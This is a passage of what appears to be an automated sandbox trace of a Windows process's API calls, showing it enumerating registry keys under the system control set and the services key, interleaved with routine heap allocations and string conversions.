(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.540] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.541] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0250.541] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.541] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0250.541] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.541] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0250.541] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0250.541] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f18e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0250.541] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.541] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0250.541] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.541] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0250.541] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.541] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0250.541] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.541] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0250.542] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.542] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.542] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.542] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.542] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0250.542] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.542] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0250.542] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.542] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.542] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.542] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.542] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0250.542] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.542] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0250.542] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.542] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.542] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.542] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.542] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0250.542] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.542] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0250.542] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.542] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.542] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.542] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.542] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0250.542] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0250.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.543] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.543] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.543] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.543] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0250.543] RegCloseKey (hKey=0xc4) returned 0x0 [0250.543] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0250.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0250.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.543] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.543] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.543] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.543] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0250.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0250.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.543] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.543] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.543] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.543] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0250.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0250.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.544] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0250.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0250.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.544] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0250.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0250.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.544] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0250.544] RegCloseKey (hKey=0x14c) returned 0x0 [0250.544] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0250.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0250.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.545] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0250.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0250.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1b68, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0250.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.545] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0250.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0250.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f18e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0250.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.545] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0250.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0250.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1b68, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0250.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.545] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0250.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0250.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f18e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0250.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.546] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0250.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0250.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1b68, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0250.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.546] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0250.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0250.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.546] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: 